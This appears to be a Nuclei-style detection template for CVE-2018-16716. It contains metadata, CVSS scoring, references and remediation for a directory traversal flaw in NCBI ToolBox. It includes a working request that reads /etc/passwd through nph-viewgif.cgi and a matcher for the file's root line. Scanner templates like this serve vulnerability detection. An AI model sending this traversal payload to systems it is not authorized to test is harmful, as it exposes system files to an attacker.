id: CVE-2018-16716 info: name: NCBI ToolBox - Directory Traversal author: 0x_Akoko severity: critical description: NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string. remediation: | Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox. reference: - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md - https://nvd.nist.gov/vuln/detail/CVE-2018-16716 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2018-16716 cwe-id: CWE-22 epss-score: 0.00716 epss-percentile: 0.78342 cpe: cpe:2.3:a:nih:ncbi_toolbox:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: nih product: ncbi_toolbox tags: cve,cve2018,ncbi,lfi http: - method: GET path: - "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a00473045022100a2c32fb77176ee9a412320fb3f9c3099a56db50804e6a547fa78db60100825ba02202c8a08e9aae035af64db679e1bd474b139beec5a3d659f91ff2e1fe5e3c1267e:922c64590222798bb761d5b6d8e72950